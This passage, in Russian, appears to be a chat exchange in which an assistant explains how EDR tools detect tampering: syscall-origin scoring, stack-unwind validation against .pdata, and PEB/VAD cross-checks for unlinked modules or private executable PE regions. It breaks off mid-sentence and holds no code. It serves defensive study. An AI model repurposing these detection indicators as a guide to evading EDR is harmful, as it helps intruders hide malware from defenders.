\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433\n\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 EDR \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e \u043a\u043e\u0434\u0430 (V8, .NET JIT) \u043e\u0442 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 JIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 RWX (\u0447\u0442\u0435\u043d\u0438\u0435-\u0437\u0430\u043f\u0438\u0441\u044c-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435), \u0447\u0442\u043e \u0441\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043e\u043c \u0434\u043b\u044f \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a [6] [7].\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 EDR \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433:\n\n\u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 syscall: \u0415\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 RWX, \u043d\u0435 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 JIT-\u0434\u0432\u0438\u0436\u043a\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043d\u0435 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 ntdll.dll), \u044d\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0435\u0439 [4].\n\u0422\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f Storyline: \u0421\u0438\u0441\u0442\u0435\u043c\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, SentinelOne) \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439: \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043e\u0442\u043b\u0438\u0447\u0438\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044e \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u043e\u0432 \u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f [8].\n\u0410\u0434\u0430\u043f\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u0440\u043e\u0433\u0438 \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u0438: \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u044f \u0428\u0435\u043d\u043d\u043e\u043d\u0430; \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043b\u0438 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u044e, \u0447\u0435\u043c JIT-\u043a\u043e\u0434 [9].\n\n\u0410\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u0441\u0442\u0435\u043a\u0430 \u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 x64 Exception Handling\n\u0421\u043b\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u043e\u0431\u0445\u043e\u0434\u0430 \u0447\u0430\u0441\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441\u043e \u0441\u0442\u0435\u043a\u043e\u043c, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Stack Pivoting (\u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 RSP \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0431\u0443\u0444\u0435\u0440) \u0438 ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0438 [10]. EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0442\u0435\u043a\u0430, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u043a\u0430\u0434\u0440\u044b (frames) \u043d\u0430 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 x64.\n\n\u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 .pdata \u0438 UNWIND_INFO: \u041d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 x64 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0445. \u041a\u0430\u0436\u0434\u0430\u044f \u043d\u0435\u043b\u0438\u0441\u0442\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 .pdata (RUNTIME_FUNCTION), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 UNWIND_INFO \u0432 \u0441\u0435\u043a\u0446\u0438\u0438 .xdata [11] [12]. \u042d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442, \u043a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u0442\u0435\u043a \u0432 \u043f\u0440\u043e\u043b\u043e\u0433\u0435.\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 ROP \u0438 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0430: EDR \u043c\u043e\u0436\u0435\u0442 \"\u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c\" \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u043a\u0438 \u0441\u0442\u0435\u043a\u0430 (unwinding). \u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 ROP-\u0433\u0430\u0434\u0436\u0435\u0442 \u0438\u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u0435\u0437 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0445 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 .pdata, \u0442\u0430\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 [12] [13]. \n\u0421\u043f\u0443\u0444\u0438\u043d\u0433 \u0441\u0442\u0435\u043a\u0430 (Call Stack Spoofing): \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0449\u0438\u0435 \u043a\u0430\u0434\u0440\u044b \u0441\u0442\u0435\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438 \u0432 UNWIND_CODE \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0435\u043d\u0441\u043e\u0440\u0430\u043c \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0438 [13] [11].\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\n[1] Locating Modules Via The PEB (Process Environment Block)\n[2] PEB_LDR_DATA structure (winternl.h) - Win32 apps - Microsoft Learn\n[3] The Windows Concept Journey \u2014 VAD Tree (Virtual Address\n[4] An Introduction to Bypassing User Mode EDR Hooks - MalwareTech\n[5] Detecting reflective DLL injection\n[6] A Technical Deep Dive: Comparing Anti-Cheat Bypass and EDR\n[7] pandaadir05/ghost - GitHub\n[8] Obfuscation in Cyber Security: Techniques Explained - SentinelOne\n[9] In-Memory Shellcode Runner Detection in Internet of Things (IoT\n[10] Exploit Development: Playing ROP'em COP'em Robots with\n[11] x64 exception handling | Microsoft Learn\n[12] Improving Automated Analysis of Windows x64 Binaries - Exploit-DB\n[13] The Evolution of EDR Bypasses: A Historical Timeline - CovertSwarm\n\n\u041c\u043e\u0436\u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0443\u044e \u0432\u044b\u0436\u0438\u043c\u043a\u0443?\n\u041d\u0438\u0436\u0435 \u2014 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u043f\u043e \u0442\u043e\u043c\u0443, \u043a\u0430\u043a EDR \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e runtime-\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043e\u0442 bypass/tamper-\u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432.\n\n1. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c EDR: \u043d\u0435 \u201c\u043e\u0434\u0438\u043d \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u201d, \u0430 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u043b\u043e\u0451\u0432\n\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 EDR \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0443 \u0432\u0440\u043e\u0434\u0435 RWX memory, MZ \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e PEB entry. \u041e\u043d \u0441\u0442\u0440\u043e\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438:\n\nPEB loader lists\n+ VAD tree\n+ memory protections\n+ backing files / sections\n+ image load events\n+ ETW\n+ kernel callbacks\n+ handle operations\n+ stack walking\n+ module integrity\n+ process lineage\n+ code signing / trust\n+ behavioral sequence\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u0434\u0435\u044f:\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u043b\u0430\u0435\u0442 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435,\n\u0442\u043e \u0435\u0433\u043e \u043f\u0430\u043c\u044f\u0442\u044c, \u0441\u0442\u0435\u043a, \u043c\u043e\u0434\u0443\u043b\u0438, VAD, PEB \u0438 \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u044f\n\u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044e.\nBypass \u043e\u0431\u044b\u0447\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0441\u0442\u044c. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f, \u043d\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c.\n\n2. PEB \u043f\u0440\u043e\u0442\u0438\u0432 VAD: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f\n2.1. PEB \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u201c\u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0438\u044f\u201d \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430\n\u0412 user-mode \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0435\u0441\u0442\u044c PEB, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f PEB_LDR_DATA. \u0422\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a Windows \u0432\u0435\u0434\u0451\u0442 \u0441\u043f\u0438\u0441\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439:\n\nPEB\n \u2514\u2500\u2500 Ldr\n      \u251c\u2500\u2500 InLoadOrderModuleList\n      \u251c\u2500\u2500 InMemoryOrderModuleList\n      \u2514\u2500\u2500 InInitializationOrderModuleList\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f:\n\nbase address\nimage size\nfull DLL path\nbase DLL name\nload order links\ninitialization state\n\u042d\u0442\u043e \u0443\u0434\u043e\u0431\u043d\u043e, \u043d\u043e \u0432\u0430\u0436\u043d\u043e: PEB \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 user-mode address space \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0415\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u0440\u0442\u0438\u0442\u044c, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0442\u0446\u0435\u043f\u0438\u0442\u044c \u043e\u0442 \u043d\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044c.\n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f EDR PEB \u2014 \u043d\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0438\u0441\u0442\u0438\u043d\u0430, \u0430 \u0441\u043a\u043e\u0440\u0435\u0435:\n\n\u201c\u0427\u0442\u043e \u0441\u0430\u043c user-mode loader \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435\u201d\n2.2. VAD \u2014 \u044f\u0434\u0435\u0440\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430\nVAD, Virtual Address Descriptor, \u2014 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u044f\u0434\u0440\u0430, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u0440\u0435\u0433\u0438\u043e\u043d\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e VAD \u0433\u043e\u0432\u043e\u0440\u0438\u0442:\n\naddress range\nallocation type\nprotection\ncommit state\nbacking file / section object\nimage mapping or private allocation\ncopy-on-write state\n\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\nMEM_IMAGE    \u2192 \u043e\u0431\u0440\u0430\u0437 PE, \u0437\u0430\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a image section\nMEM_MAPPED   \u2192 file mapping / section mapping\nMEM_PRIVATE  \u2192 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\n\u0415\u0441\u043b\u0438 PEB \u2014 \u044d\u0442\u043e \u201c\u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430\u201d, \u0442\u043e VAD \u2014 \u044d\u0442\u043e \u201c\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0433\u043b\u0430\u0437\u0430\u043c\u0438 \u044f\u0434\u0440\u0430\u201d.\n\n3. \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB/VAD\nEDR \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0442\u0440\u043e\u0438\u0442 \u0434\u0432\u0435 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n3.1. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0437 PEB\nModule list:\n  ntdll.dll         base A, size X\n  kernel32.dll      base B, size Y\n  kernelbase.dll    base C, size Z\n  user32.dll        base D, size W\n3.2. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0437 VAD\nVAD ranges:\n  A-A+X  MEM_IMAGE  \\SystemRoot\\System32\\ntdll.dll\n  B-B+Y  MEM_IMAGE  \\SystemRoot\\System32\\kernel32.dll\n  C-C+Z  MEM_IMAGE  \\SystemRoot\\System32\\kernelbase.dll\n  E-E+Q  MEM_IMAGE  \\Users\\...\\weird.dll\n  F-F+R  MEM_PRIVATE RX/RWX, starts with MZ\n\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435:\n\nPEB module exists but no matching VAD image region\nVAD image region exists but no matching PEB module\nVAD region backed by DLL path but not loader-registered\nMEM_PRIVATE executable region contains PE headers\nexecutable region has no known module owner\n4. \u041a\u0430\u043a\u0438\u0435 PEB/VAD \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438\n4.1. VAD \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 MEM_IMAGE, \u043d\u043e PEB \u043c\u043e\u043b\u0447\u0438\u0442\n\u042d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nThere is an image-mapped module in memory,\nbut the loader module lists do not contain it.\n\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\n\nmodule unlinking\nmanual loader tricks\nnonstandard section mapping\nsecurity tool / anti-cheat / DRM\n\u0421\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439, \u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0439.\n\n4.2. MEM_PRIVATE + RX/RWX + MZ/PE headers\n\u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0438\u043b\u044c\u043d\u044b\u0445 in-memory indicators:\n\nregion type: MEM_PRIVATE\nprotection: executable\ncontent: PE-like structure\nPEB entry: absent\nimage load event: absent\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e:\n\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0435 DLL \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a MEM_IMAGE;\n\u0440\u0443\u0447\u043d\u043e\u0439 PE loader \u0447\u0430\u0441\u0442\u043e \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e;\n\u0441\u0435\u043a\u0446\u0438\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0435 allocations;\nWindows loader \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 PEB-\u0437\u0430\u043f\u0438\u0441\u0438;\nPsSetLoadImageNotifyRoutine \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 image-load \u043f\u0443\u0442\u044c.\n\u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f EDR:\n\n\u201c\u0423 \u043c\u0435\u043d\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0435\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PE, \u043d\u043e \u041e\u0421-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e 